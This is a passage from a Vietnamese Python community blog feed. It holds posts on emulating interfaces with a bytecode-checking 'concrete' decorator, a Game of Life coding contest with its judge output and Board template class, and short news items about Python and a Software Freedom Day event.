<span class="n">names_markers_values</span><span class="o">.</span><span class="n">append</span><span class="p">((</span><span class="n">name</span><span class="p">,</span> <span class="kc">None</span><span class="p">,</span> <span class="nb">dict</span><span class="p">))</span>
<span class="nb">super</span><span class="p">(</span><span class="n">auto_dict_argument</span><span class="p">,</span> <span class="bp">self</span><span class="p">)</span><span class="o">.</span><span class="fm">__init__</span><span class="p">(</span><span class="n">names_markers_values</span><span class="p">)</span>
<span class="nd">@auto_dict_argument</span><span class="p">(</span><span class="s1">'arg_1'</span><span class="p">,</span> <span class="s1">'arg_2'</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">test_func</span><span class="p">(</span><span class="n">arg_1</span><span class="o">=</span><span class="kc">None</span><span class="p">,</span> <span class="n">arg_2</span><span class="o">=</span><span class="kc">None</span><span class="p">):</span>
<span class="n">arg_1</span><span class="p">[</span><span class="s1">'1'</span><span class="p">]</span> <span class="o">=</span> <span class="s1">'arg_1'</span>
<span class="n">arg_2</span><span class="p">[</span><span class="s1">'2'</span><span class="p">]</span> <span class="o">=</span> <span class="s1">'arg_2'</span>
<span class="k">return</span> <span class="p">(</span><span class="n">arg_1</span><span class="p">,</span> <span class="n">arg_2</span><span class="p">)</span>
<span class="bp">self</span><span class="o">.</span><span class="n">assertEqual</span><span class="p">(({</span><span class="s1">'1'</span><span class="p">:</span> <span class="s1">'arg_1'</span><span class="p">},</span> <span class="p">{</span><span class="s1">'2'</span><span class="p">:</span> <span class="s1">'arg_2'</span><span class="p">}),</span> <span class="n">test_func</span><span class="p">())</span>
<span class="n">arg_1</span><span class="p">,</span> <span class="n">arg_2</span> <span class="o">=</span> <span class="n">test_func</span><span class="p">()</span>
<span class="bp">self</span><span class="o">.</span><span class="n">assertNotEqual</span><span class="p">(</span><span class="nb">id</span><span class="p">(</span><span class="n">arg_1</span><span class="p">),</span> <span class="nb">id</span><span class="p">(</span><span class="n">arg_2</span><span class="p">))</span>
<span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s1">'__main__'</span><span class="p">:</span>
<span class="n">unittest</span><span class="o">.</span><span class="n">main</span><span class="p">()</span>
</pre></div>
</div>
Lập trình giao diện trong Python2012-07-18T06:06:00+07:002012-07-18T06:06:00+07:00Nguyễn Thành Namtag:None,2012-07-18:2012/07/lap-trinh-giao-dien-trong-python.html<p>Bài viết này bàn về hướng lập trình giao diện (programming to the interface) thay vì giao diện người dùng, hay giao diện đồ họa (user interface, graphical interface).</p>
<div class="section" id="lap-trinh-giao-dien">
<h2>Lập trình giao diện</h2>
<p>Lập trình giao diện (giao tiếp) là một trong hai nguyên tắc cơ bản được nhắc đến …</p></div><p>Bài viết này bàn về hướng lập trình giao diện (programming to the interface) thay vì giao diện người dùng, hay giao diện đồ họa (user interface, graphical interface).</p>
<div class="section" id="lap-trinh-giao-dien">
<h2>Lập trình giao diện</h2>
<p>Lập trình giao diện (giao tiếp) là một trong hai nguyên tắc cơ bản được nhắc đến trong quyển sách kinh điển <strong>Design Patterns</strong>. Lập trình giao diện đặt trọng tâm vào việc tạo ra một hợp đồng (contract) chắc chắn giữa hai bên người dùng (consumer) và người cung cấp (producer):</p>
<dl class="docutils">
<dt>Người dùng</dt>
<dd>là bên sử dụng các lớp, hàm, hoặc mã mà người cung cấp tạo ra</dd>
<dt>Người cung cấp</dt>
<dd>là bên tạo ra thư viện mã</dd>
<dt>Hợp đồng</dt>
<dd>là các kiến thức chung mà cả người dùng và người cung cấp đều hiểu và tuân theo</dd>
</dl>
<p>Hợp đồng xác định các lớp cơ bản, và các phương thức của các lớp đó. Vì đây là hợp đồng được cả hai bên tuân theo nên ý nghĩa của các lớp, cũng như cách hoạt động của các phương thức phải được định nghĩa một cách tường minh và chuẩn xác. Người dùng sẽ dựa theo hợp đồng này và sử dụng các lớp trong đó cho mục đích riêng của họ, trong khi người cung cấp có thể thay đổi cách hiện thực hợp đồng một cách khả chuyển miễn sao vẫn đảm bảo được yêu cầu của hợp đồng.</p>
<p>Ví dụ: hợp đồng nêu ra là hàm <strong>func</strong> nhận vào một số nguyên, và trả về tổng của số nguyên đó với 2. Hợp đồng này rõ ràng ví nó xác định tên hàm (<strong>func</strong>), giá trị đầu vào (<strong>một số nguyên</strong>) và giá trị đầu ra (<strong>tổng của số nguyên nhập vào với 2</strong>). Người sử dụng, khi cần tính tổng của 5 và 2, có thể gọi <strong>func(5)</strong>. Người cung cấp có thể cài đặt <strong>def func(i): return i + 2</strong> hoặc <strong>func = lambda i: i + 2</strong> hoặc một cách nào khác miễn sao phù hợp với câu chữ của hợp đồng.</p>
<p>Theo quan điểm này, người sử dụng và người cung cấp giao tiếp với nhau thông qua một môi trường chung, một giao diện chung. Người sử dụng dựa trên giao diện này để yêu cầu dịch vụ từ người cung cấp. Còn người cung cấp dựa trên giao diện này để đáp ứng đúng yêu cầu người sử dụng.</p>
<p>Đối với các ngôn ngữ lập trình hướng đối tượng, chúng ta hay gặp các thuật ngữ như giao diện (<strong>interface</strong>), lớp trừu tượng (<strong>abstract class</strong>) và lớp cụ thể (<strong>concrete class</strong>). Giao diện mang tính chất của một hợp đồng, hoàn toàn không có bất kỳ một hiện thực cụ thể nào. Lớp cụ thể là một hiện thực đầy đủ của một giao diện. Và lớp trừu tượng là một hiện thực chưa đầy đủ của một giao diện.</p>
</div>
<div class="section" id="id1">
<h2>Lập trình giao diện trong Python</h2>
<p>Python không có sự phân biệt giữa ba khái niệm này. Tuy nhiên, trong thực tế, chúng ta hay viết mã tương tự như sau để mô phỏng một giao diện.</p>
<div class="highlight"><pre><span></span><span class="k">class</span> <span class="nc">Interface</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span>
<span class="k">def</span> <span class="nf">method_1</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">raise</span> <span class="ne">NotImplementedError</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">method_2</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">raise</span> <span class="ne">NotImplementedError</span><span class="p">()</span>
</pre></div>
<p>Các phương thức trong lớp <strong>Interface</strong> chỉ có một câu lệnh duy nhất là <strong>raise NotImplementedError()</strong> để cố tình gây ra biệt lệ khi chúng được gọi.</p>
<p>Một lớp trừu tượng có thể được mô phỏng như sau:</p>
<div class="highlight"><pre><span></span><span class="k">class</span> <span class="nc">AbstractClass</span><span class="p">(</span><span class="n">Interface</span><span class="p">):</span>
<span class="k">def</span> <span class="nf">method_1</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="c1"># làm một việc gì đó</span>
<span class="k">pass</span>
</pre></div>
<p>Lớp <strong>AbstractClass</strong> là lớp con của <strong>Interface</strong> và hiện thực hóa phương thức <strong>method_1</strong> nhưng vẫn để phương thức <strong>method_2</strong> lơ lửng.</p>
<p>Cuối cùng, một lớp cụ thể là một lớp con của <strong>Interface</strong> hoặc <strong>AbstractClass</strong> nhưng hiện thực hóa tất cả các phương thức.</p>
<div class="highlight"><pre><span></span><span class="k">class</span> <span class="nc">ConcreteClass</span><span class="p">(</span><span class="n">AbstractClass</span><span class="p">):</span>
<span class="k">def</span> <span class="nf">method_2</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="c1"># làm một việc gì đó</span>
<span class="k">pass</span>
</pre></div>
<p>Điểm đáng lưu ý là tất cả các lớp này đều hợp lệ trong Python. Chúng ta hoàn toàn có thể khởi tạo một đối tượng của một trong ba lớp này và chỉ đến khi gọi một hàm nào đó thì biệt lệ mới xảy ra. Nói cách khác, biệt lệ <strong>NotImplementedError</strong> chỉ được phát hiện khi chạy, trong khi đáng lẽ nó đã phải được phát hiện ngay khi dịch. Điều này làm mất giá trị của một hợp đồng, và hạn chế việc áp dụng hướng lập trình giao diện trong Python.</p>
<p>Để khắc phục điểm yếu này, tôi đã viết một bộ trang hoàng (decorator) nhỏ để bắt lỗi ngay khi một lớp cụ thể được định nghĩa thiếu. Định nghĩa thiếu ở đây mang ý nghĩa rằng lớp cụ thể đã quên định nghĩa một phương thức nào đó.</p>
<div class="highlight"><pre><span></span><span class="sd">'''Set of (class) decorators to help with interface programming.</span>
<span class="sd">Examples::</span>
<span class="sd"> @concrete</span>
<span class="sd"> class subclass(parent):</span>
<span class="sd"> ...</span>
<span class="sd">Released to the public domain.</span>
<span class="sd">Nam T. Nguyen, 2012</span>
<span class="sd">'''</span>
<span class="kn">import</span> <span class="nn">dis</span>
<span class="kn">import</span> <span class="nn">types</span>
<span class="kn">import</span> <span class="nn">unittest</span>
<span class="k">def</span> <span class="nf">concrete</span><span class="p">(</span><span class="n">orig_class</span><span class="p">):</span>
<span class="sd">'''A decorator to ensure that a concrete class has no un-implemented</span>
<span class="sd"> methods.</span>
<span class="sd"> An un-implemented method is defined similarly to::</span>
<span class="sd"> def method(...):</span>
<span class="sd"> raise NotImplementedError()</span>
<span class="sd"> This, when translated to bytecode, looks like::</span>
<span class="sd"> LOAD_GLOBAL 0 (NotImplementedError)</span>
<span class="sd"> CALL_FUNCTION 1</span>
<span class="sd"> RAISE_VARARGS 1</span>
<span class="sd"> ...</span>
<span class="sd"> Or when ``raise NotImplementedError``::</span>
<span class="sd"> LOAD_GLOBAL 0 (NotImplementedError)</span>
<span class="sd"> RAISE_VARARGS 1</span>
<span class="sd"> ...</span>
<span class="sd"> The check here is for such pattern.</span>
<span class="sd"> '''</span>
<span class="k">for</span> <span class="n">name</span> <span class="ow">in</span> <span class="nb">dir</span><span class="p">(</span><span class="n">orig_class</span><span class="p">):</span>
<span class="n">func</span> <span class="o">=</span> <span class="nb">getattr</span><span class="p">(</span><span class="n">orig_class</span><span class="p">,</span> <span class="n">name</span><span class="p">)</span>
<span class="c1"># correct type?</span>
<span class="k">if</span> <span class="nb">type</span><span class="p">(</span><span class="n">func</span><span class="p">)</span> <span class="ow">not</span> <span class="ow">in</span> <span class="p">(</span><span class="n">types</span><span class="o">.</span><span class="n">FunctionType</span><span class="p">,</span> <span class="n">types</span><span class="o">.</span><span class="n">MethodType</span><span class="p">):</span>
<span class="k">continue</span>
<span class="c1"># check if first name is NotImplementedError</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">func</span><span class="o">.</span><span class="n">func_code</span><span class="o">.</span><span class="n">co_names</span><span class="p">)</span> <span class="o"><</span> <span class="mi">1</span> <span class="ow">or</span> \
<span class="n">func</span><span class="o">.</span><span class="n">func_code</span><span class="o">.</span><span class="n">co_names</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">!=</span> <span class="s1">'NotImplementedError'</span><span class="p">:</span>
<span class="k">continue</span>
<span class="c1"># and RAISE_VARARGS somewhere after that</span>
<span class="k">for</span> <span class="n">position</span> <span class="ow">in</span> <span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="mi">6</span><span class="p">):</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">func</span><span class="o">.</span><span class="n">func_code</span><span class="o">.</span><span class="n">co_code</span><span class="p">)</span> <span class="o"><</span> <span class="n">position</span><span class="p">:</span>
<span class="k">continue</span>
<span class="n">opcode</span> <span class="o">=</span> <span class="nb">ord</span><span class="p">(</span><span class="n">func</span><span class="o">.</span><span class="n">func_code</span><span class="o">.</span><span class="n">co_code</span><span class="p">[</span><span class="n">position</span><span class="p">])</span>
<span class="k">if</span> <span class="n">dis</span><span class="o">.</span><span class="n">opname</span><span class="p">[</span><span class="n">opcode</span><span class="p">]</span> <span class="o">==</span> <span class="s1">'RAISE_VARARGS'</span><span class="p">:</span>
<span class="k">raise</span> <span class="ne">SyntaxError</span><span class="p">(</span><span class="s1">'Function </span><span class="si">%s</span><span class="s1">.</span><span class="si">%s</span><span class="s1"> must be implemented.'</span> <span class="o">%</span> <span class="p">(</span>
<span class="n">orig_class</span><span class="o">.</span><span class="vm">__name__</span><span class="p">,</span> <span class="n">func</span><span class="o">.</span><span class="n">func_name</span><span class="p">))</span>
<span class="k">return</span> <span class="n">orig_class</span>
<span class="k">class</span> <span class="nc">ConcreteTest</span><span class="p">(</span><span class="n">unittest</span><span class="o">.</span><span class="n">TestCase</span><span class="p">):</span>
<span class="k">def</span> <span class="nf">test_raise</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">class</span> <span class="nc">test1</span><span class="p">:</span>
<span class="k">def</span> <span class="nf">method</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">raise</span> <span class="ne">NotImplementedError</span>
<span class="bp">self</span><span class="o">.</span><span class="n">assertRaises</span><span class="p">(</span><span class="ne">SyntaxError</span><span class="p">,</span> <span class="n">concrete</span><span class="p">,</span> <span class="n">test1</span><span class="p">)</span>
<span class="k">class</span> <span class="nc">test2</span><span class="p">:</span>
<span class="k">def</span> <span class="nf">method</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">raise</span> <span class="ne">NotImplementedError</span><span class="p">()</span>
<span class="bp">self</span><span class="o">.</span><span class="n">assertRaises</span><span class="p">(</span><span class="ne">SyntaxError</span><span class="p">,</span> <span class="n">concrete</span><span class="p">,</span> <span class="n">test2</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">test_not_raise</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">class</span> <span class="nc">test</span><span class="p">:</span>
<span class="k">def</span> <span class="nf">method</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">return</span> <span class="ne">NotImplementedError</span><span class="p">()</span>
<span class="n">concrete</span><span class="p">(</span><span class="n">test</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">test_subclass</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">class</span> <span class="nc">parent</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span>
<span class="k">def</span> <span class="nf">override_me</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">raise</span> <span class="ne">NotImplementedError</span><span class="p">()</span>
<span class="k">class</span> <span class="nc">test</span><span class="p">(</span><span class="n">parent</span><span class="p">):</span>
<span class="k">def</span> <span class="nf">leave_it</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">pass</span>
<span class="bp">self</span><span class="o">.</span><span class="n">assertRaises</span><span class="p">(</span><span class="ne">SyntaxError</span><span class="p">,</span> <span class="n">concrete</span><span class="p">,</span> <span class="n">test</span><span class="p">)</span>
<span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s1">'__main__'</span><span class="p">:</span>
<span class="n">unittest</span><span class="o">.</span><span class="n">main</span><span class="p">()</span>
</pre></div>
<p>Để sử dụng bộ trang hoàng <strong>concrete</strong> này, ta sẽ sửa lại lớp <strong>ConcreteClass</strong> như sau:</p>
<div class="highlight"><pre><span></span><span class="nd">@concrete</span>
<span class="k">class</span> <span class="nc">ConcreteClass</span><span class="p">(</span><span class="n">AbstractClass</span><span class="p">):</span>
<span class="c1"># như trên</span>
</pre></div>
<p>Nếu <strong>ConcreteClass</strong> quên hiện thực hóa một phương thức nào đó, Python sẽ thông báo <strong>SyntaxError</strong> ngay sau khi <strong>ConcreteClass</strong> được định nghĩa.</p>
</div>
<div class="section" id="tom-tat">
<h2>Tóm tắt</h2>
<p>Lập trình giao diện giúp chúng ta tách biệt hai yếu tố là cái gì, và như thế nào. Người sử dụng quan tâm nhiều đến câu hỏi <strong>cái gì</strong> được thực hiện hơn là làm sao để thực hiện chúng. Trong khi người cung cấp có thể dễ dàng thay đổi <strong>cách thực hiện</strong> miễn sao vẫn đảm bảo câu chữ của hợp đồng.</p>
<p>Python không có sẵn cơ chế giao diện và lớp trừu tượng như các ngôn ngữ lập trình khác. Chúng ta phải sử dụng bộ trang hoàng <strong>concrete</strong> để bắt lỗi định nghĩa thiếu.</p>
<p>Hy vọng bài viết ngắn này sẽ đem lại cho bạn đọc một mẹo lập trình giao diện hữu ích trong Python.</p>
</div>
Python - Ngôn Ngữ Lập Trình Tốt Nhất2011-12-09T19:13:00+07:002011-12-09T19:13:00+07:00Nhóm PCNVtag:None,2011-12-09:2011/12/python-ngon-ngu-lap-trinh-tot-nhat.html<p>Tạp chí Linux Journal đã công bố kết quả khảo sát người đọc hàng năm của mình vào ngày 01 tháng 12 vừa qua. Theo đánh giá này, Python lại một lần nữa trong suốt ba năm liên tục được người đọc đánh giá là <strong>ngôn ngữ lập trình tốt …</strong></p><p>Tạp chí Linux Journal đã công bố kết quả khảo sát người đọc hàng năm của mình vào ngày 01 tháng 12 vừa qua. Theo đánh giá này, Python lại một lần nữa trong suốt ba năm liên tục được người đọc đánh giá là <strong>ngôn ngữ lập trình tốt nhất</strong>.</p>
<p>Thông tin chi tiết có thể được xem thêm từ nguồn <a class="reference external" href="http://www.linuxjournal.com/slideshow/readers-choice-2011?page=27">Linux Journal</a>.</p>
Câu chuyện tối ưu hóa đoạn mã Python2011-10-26T02:21:00+07:002011-10-26T02:21:00+07:00Nguyễn Thành Namtag:None,2011-10-26:2011/10/cau-chuyen-toi-uu-hoa-doan-ma-python.html<p>Trên trang blog của Dropbox ngày hôm qua có chia sẻ kinh nghiệm của họ trong việc tối ưu hóa một đoạn mã Python ngắn.</p>
<p><a class="reference external" href="http://tech.dropbox.com/?p=89">http://tech.dropbox.com/?p=89</a></p>
<p>Kết luận của họ là:</p>
<ol class="arabic simple">
<li>Các kỹ thuật căn bản như <strong>inline hàm</strong> (inline function), <strong>tự lặp</strong> (implicit loop …</li></ol><p>Trên trang blog của Dropbox ngày hôm qua có chia sẻ kinh nghiệm của họ trong việc tối ưu hóa một đoạn mã Python ngắn.</p>
<p><a class="reference external" href="http://tech.dropbox.com/?p=89">http://tech.dropbox.com/?p=89</a></p>
<p>Kết luận của họ là:</p>
<ol class="arabic simple">
<li>Các kỹ thuật căn bản như <strong>inline hàm</strong> (inline function), <strong>tự lặp</strong> (implicit loop), <strong>tận dụng mã C</strong> đều đúng.</li>
<li>Cấu trúc <strong>set</strong> và <strong>dict</strong> trong Python rất nhanh.</li>
<li>Việc sử dụng biến <strong>nội bộ thay cho toàn cục</strong> mặc dù có ích, nhưng không nhiều.</li>
<li><strong>Ghép chuỗi</strong> (string concatenation) nhanh hơn nhiều so với <strong>định dạng chuỗi</strong> (string interpolation).</li>
</ol>
<p>Đây là một bài chia sẻ rất hay.</p>
Hình ảnh tại Software Freedom Day 20102011-10-24T00:50:00+07:002011-10-24T00:50:00+07:00Nguyễn Thành Namtag:None,2011-10-24:2011/10/hinh-anh-tai-software-freedom-day-2010.html<p>Hôm nay tự nhiên thấy trên máy có mấy tấm hình cũ ở Ngày Phần Mềm Tự Do 2010 vẫn chưa được đăng.</p>
<p>Năm 2010, thành viên Phan Đắc Anh Huy đã trình bày về phần mềm Vithon Forum (chính là phần mềm được sử dụng để làm Diễn đàn …</p><p>Hôm nay tự nhiên thấy trên máy có mấy tấm hình cũ ở Ngày Phần Mềm Tự Do 2010 vẫn chưa được đăng.</p>
<p>Năm 2010, thành viên Phan Đắc Anh Huy đã trình bày về phần mềm Vithon Forum (chính là phần mềm được sử dụng để làm Diễn đàn của nhóm PCNV). Sau đây là các tấm hình chụp hôm đó.</p>
<div class="figure">
<img alt="" src="http://img36.imageshack.us/img36/1311/img20100918104740.th.jpg" />
<p class="caption"><a class="reference external" href="http://img36.imageshack.us/i/img20100918104740.jpg/">http://img36.imageshack.us/i/img20100918104740.jpg/</a></p>
</div>
<div class="figure">
<img alt="" src="http://img37.imageshack.us/img37/9138/img20100918104748.th.jpg" />
<p class="caption"><a class="reference external" href="http://img37.imageshack.us/i/img20100918104748.jpg/">http://img37.imageshack.us/i/img20100918104748.jpg/</a></p>
</div>
<div class="figure">
<img alt="" src="http://img97.imageshack.us/img97/2699/img20100918104833.th.jpg" />
<p class="caption"><a class="reference external" href="http://img97.imageshack.us/i/img20100918104833.jpg/">http://img97.imageshack.us/i/img20100918104833.jpg/</a></p>
</div>
<p>Điều kiện ánh sáng tuy không được tốt nhưng cũng phần nào thể hiện được cái đầu du côn và thân hình phì lũ của Huy.</p>
Kết quả cuộc thi Đời2011-10-21T10:51:00+07:002011-10-21T10:51:00+07:00Nhóm PCNVtag:None,2011-10-21:2011/10/ket-qua-cuoc-thi-doi.html<p>Cuộc thi Đời kết thúc vào tuần trước nhưng vì không có điều kiện truy cập Internet nên đến bây giờ ban tổ chức mới có thể công bố kết quả.</p>
<p>Cuộc thi thu hút <strong>bốn</strong> bài tham dự từ các bạn sau:</p>
<table border="1" class="docutils">
<colgroup>
<col width="53%" />
<col width="47%" />
</colgroup>
<thead valign="bottom">
<tr><th class="head"><strong>Tác giả</strong></th>
<th class="head"><strong>Bài tham dự</strong></th>
</tr>
</thead>
<tbody valign="top">
<tr><td>Nhâm Xuân …</td></tr></tbody></table><p>Cuộc thi Đời kết thúc vào tuần trước nhưng vì không có điều kiện truy cập Internet nên đến bây giờ ban tổ chức mới có thể công bố kết quả.</p>
<p>Cuộc thi thu hút <strong>bốn</strong> bài tham dự từ các bạn sau:</p>
<table border="1" class="docutils">
<colgroup>
<col width="53%" />
<col width="47%" />
</colgroup>
<thead valign="bottom">
<tr><th class="head"><strong>Tác giả</strong></th>
<th class="head"><strong>Bài tham dự</strong></th>
</tr>
</thead>
<tbody valign="top">
<tr><td>Nhâm Xuân Nam</td>
<td>life.py</td>
</tr>
<tr><td>Huỳnh Hải Âu</td>
<td>bilife.py</td>
</tr>
<tr><td>Phan Phụng Tiến</td>
<td>treeoflife.py</td>
</tr>
<tr><td>Vũ Khuê</td>
<td>cuocthidoi.py</td>
</tr>
</tbody>
</table>
<p>Nhóm PCNV đã sử dụng một chương trình chấm giải đơn giản khác để đánh giá các bài này. Chương trình này chỉ đơn giản là tạo một ma trận MxN phần tử và yêu cầu các bài tham gia tính giá trị của các ô ngẫu nhiên tại một thế hệ trong tương lai.</p>
<p>Ở vòng đầu tiên, ma trận <strong>1x1</strong> được sử dụng:</p>
<pre class="literal-block">
G:\vithon\life>judge.py -c 1 -r 1 -n 10000 bilife.Board life.MainBoard treeoflife.Board cuocthidoi.Board
Generating random test case
Width = 1
Height = 1
0
Executing bilife.Board
Executing life.MainBoard
Executing treeoflife.Board
Executing cuocthidoi.Board
Checking for cell (0, 0)
Traceback (most recent call last):
File "G:\vithon\life\judge.py", line 120, in <module>
main()
File "G:\vithon\life\judge.py", line 96, in main
if results[module_name]['object'].get_cell(row, col):
File "G:\vithon\life\treeoflife.py", line 160, in get_cell
raise ValueError()
ValueError
</pre>
<p>Vì sinh ra lỗi nên mô-đun <strong>treeoflife</strong> đã bị loại.</p>
<p>Ở vòng hai, ma trận <strong>2x2</strong> được sử dụng và chỉ tính một thế hệ tương lai:</p>
<pre class="literal-block">
G:\vithon\life>judge.py -c 2 -r 2 -n 1 bilife.Board life.MainBoard cuocthidoi.Board
Generating random test case
Width = 2
Height = 2
1 1
0 1
Executing bilife.Board
Executing life.MainBoard
Executing cuocthidoi.Board
Checking for cell (0, 1)
*** alive count = 2, dead_count = 1
bilife is eliminated
Checking for cell (1, 0)
*** alive count = 3, dead_count = 0
Checking for cell (0, 0)
*** alive count = 2, dead_count = 1
bilife is eliminated
Checking for cell (1, 1)
*** alive count = 2, dead_count = 1
bilife is eliminated
RESULT:
[+] cuocthidoi : 0.000000 seconds
[+] life : 0.000000 seconds
[-] bilife : 0.000000 seconds
</pre>
<p>Với lần chạy này, chỉ có mô-đun <strong>bilife</strong> đưa ra kết quả sai cho trường hợp ô <strong>(0, 1)</strong>. Chương trình chấm so sánh kết quả của mô-đun với kết quả của <strong>số đông</strong>. Trong trường hợp này, số đông đã đúng.</p>
<p>Sau hai lần chạy, chỉ còn lại hai mô-đun <strong>life</strong> và <strong>cuocthidoi</strong>.</p>
<p>Lần chạy thứ ba sử dụng ma trận <strong>2x2</strong> với một thế hệ:</p>
<pre class="literal-block">
G:\vithon\life>judge.py -c 2 -r 2 -n 1 life.MainBoard cuocthidoi.Board
Generating random test case
Width = 2
Height = 2
1 0
0 0
Executing life.MainBoard
Executing cuocthidoi.Board
Checking for cell (0, 0)
*** alive count = 1, dead_count = 1
life is eliminated
Checking for cell (1, 1)
*** alive count = 0, dead_count = 2
Checking for cell (1, 0)
*** alive count = 0, dead_count = 2
Checking for cell (1, 0)
*** alive count = 0, dead_count = 2
RESULT:
[-] life : 0.000000 seconds
[+] cuocthidoi : 0.000000 seconds
</pre>
<p>Với lần chạy này, <strong>life</strong> đã bị loại, và chỉ còn <strong>cuocthidoi</strong>.</p>
<p>Tóm lại, sau ba vòng chạy thì chỉ có mô-đun <strong>cuocthidoi</strong> đưa ra đáp án đúng. Tuy nhiên, giải này không có người chiến thắng vì mục tiêu của giải là thi về tốc độ thực thi. Khi chỉ có một đối thủ trong cuộc thi thì giải trở nên vô nghĩa. Hơn nữa, bài tham dự <strong>cuocthidoi.py</strong> đã không thực hiện đúng quy chế thứ 3 trong thể lệ tham gia nên cũng bị loại. Mặc dù không có người chiến thắng nhưng nhóm PCNV xin chúc mừng tác giả <strong>Vũ Khuê</strong> đã vượt qua các đối thủ khác trong cuộc thi.</p>
<p>Nói tóm lại, giải đã không đạt được mục tiêu đề ra ban đầu. Xin hẹn gặp các bạn ở các giải sau!</p>
Cuộc thi Đời2011-09-15T06:36:00+07:002011-09-15T06:36:00+07:00Nhóm PCNVtag:None,2011-09-15:2011/09/cuoc-thi-doi.html<p>Nhóm PCNV hân hạnh tổ chức một cuộc thi nhỏ với giải thưởng lớn!</p>
<p>Game of Life, tạm dịch Trò chơi Đời, là một mô phỏng trạng thái các điểm trên một ma trận MxN đơn giản. Các điểm trên ma trận có trạng thái hoặc là sống, hoặc là …</p><p>Nhóm PCNV hân hạnh tổ chức một cuộc thi nhỏ với giải thưởng lớn!</p>
<p>Game of Life, tạm dịch Trò chơi Đời, là một mô phỏng trạng thái các điểm trên một ma trận MxN đơn giản. Các điểm trên ma trận có trạng thái hoặc là sống, hoặc là chết. Trạng thái của một ma trận được gọi là một thế hệ. Các điểm trên ma trận ở thế hệ <strong>G</strong> sẽ tuân theo các luật sau để xác định trạng thái của chúng ở thế hệ <strong>G + 1</strong>:</p>
<blockquote>
<ol class="arabic simple">
<li>Nếu số lượng các điểm sống chung quanh điểm hiện tại là 3, thì điểm hiện tại sẽ sống.</li>
<li>Nếu số lượng các điểm sống chung quanh điểm hiện tại là 2, thì điểm hiện tại sẽ tiếp tục giữ trạng thái hiện tại.</li>
<li>Nếu số lượng các điểm sống chung quanh điểm hiện tại nhỏ hơn 2, hoặc lớn hơn 3, điểm hiện tại sẽ chết.</li>
</ol>
</blockquote>
<p><strong>Cuộc thi Đời</strong> là sự tranh đua của các mã nguồn Python thực hiện việc tối ưu hóa cách thể hiện mô phỏng trên. Thể lệ của cuộc thi bao gồm:</p>
<blockquote>
<ol class="arabic simple">
<li>Bài tham dự gửi về địa chỉ thư admin tại vithon.org.</li>
<li>Bài tham dự chỉ được sử dụng ngôn ngữ Python, và các thư viện chuẩn đi kèm.</li>
<li>Bài tham dự chỉ cần hiện thực hóa lớp mẫu bên dưới bằng cách kế thừa nó và cài đặt các phương thức cần thiết.</li>
<li>Yếu tố cơ bản để đánh giá là tốc độ chạy của chương trình.</li>
<li>Hạn tham dự là hết ngày 15 tháng 10 năm 2011.</li>
<li><strong>Chỉ có một</strong> giải có trị giá <strong>tương đương 250 đô la Singapore</strong>.</li>
<li>Quyết định của ban tổ chức là cuối cùng, xin không nhận khiếu nại.</li>
</ol>
</blockquote>
<div class="highlight"><pre><span></span><span class="k">class</span> <span class="nc">Board</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span>
<span class="sd">'''Represents the Game of Life matrix.</span>
<span class="sd"> Each cell has at most 8 neighbors. A cell may have less than 8 neighbors.</span>
<span class="sd"> For example, a cell at (0, 0) would have only three neightbors (0, 1),</span>
<span class="sd"> (1, 0) and (1, 1).</span>
<span class="sd"> The cells are addressed in a row-major (row first) manner. The index starts</span>
<span class="sd"> from zero.</span>
<span class="sd"> '''</span>
<span class="k">def</span> <span class="fm">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">width</span><span class="o">=</span><span class="mi">10</span><span class="p">,</span> <span class="n">height</span><span class="o">=</span><span class="mi">10</span><span class="p">):</span>
<span class="sd">'''Initializes this board.</span>
<span class="sd"> Args:</span>
<span class="sd"> width (int): Number of cells in a row.</span>
<span class="sd"> height (int): Number of rows in this board.</span>
<span class="sd"> '''</span>
<span class="k">raise</span> <span class="bp">NotImplemented</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">generation</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">n</span><span class="o">=</span><span class="mi">1</span><span class="p">):</span>
<span class="sd">'''Transform this board into next ``n`` generation(s).</span>
<span class="sd"> The transformation is in place similar to ``list.sort``.</span>
<span class="sd"> No value is returned to the caller.</span>
<span class="sd"> Args:</span>
<span class="sd"> n (int): Number of generations.</span>
<span class="sd"> Raises:</span>
<span class="sd"> ValueError: If n is smaller than 1.</span>
<span class="sd"> '''</span>
<span class="k">raise</span> <span class="bp">NotImplemented</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">get_cell</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">row</span><span class="p">,</span> <span class="n">col</span><span class="p">):</span>
<span class="sd">'''Returns the state of the cell at row ``row`` and column ``col``.</span>
<span class="sd"> Args:</span>
<span class="sd"> row (int): The row, zero-indexed.</span>
<span class="sd"> col (int): The column, zero-indexed.</span>
<span class="sd"> Returns:</span>
<span class="sd"> True: If the cell is alive.</span>
<span class="sd"> False: If the cell is dead.</span>
<span class="sd"> '''</span>
<span class="k">raise</span> <span class="bp">NotImplemented</span><span class="p">()</span>
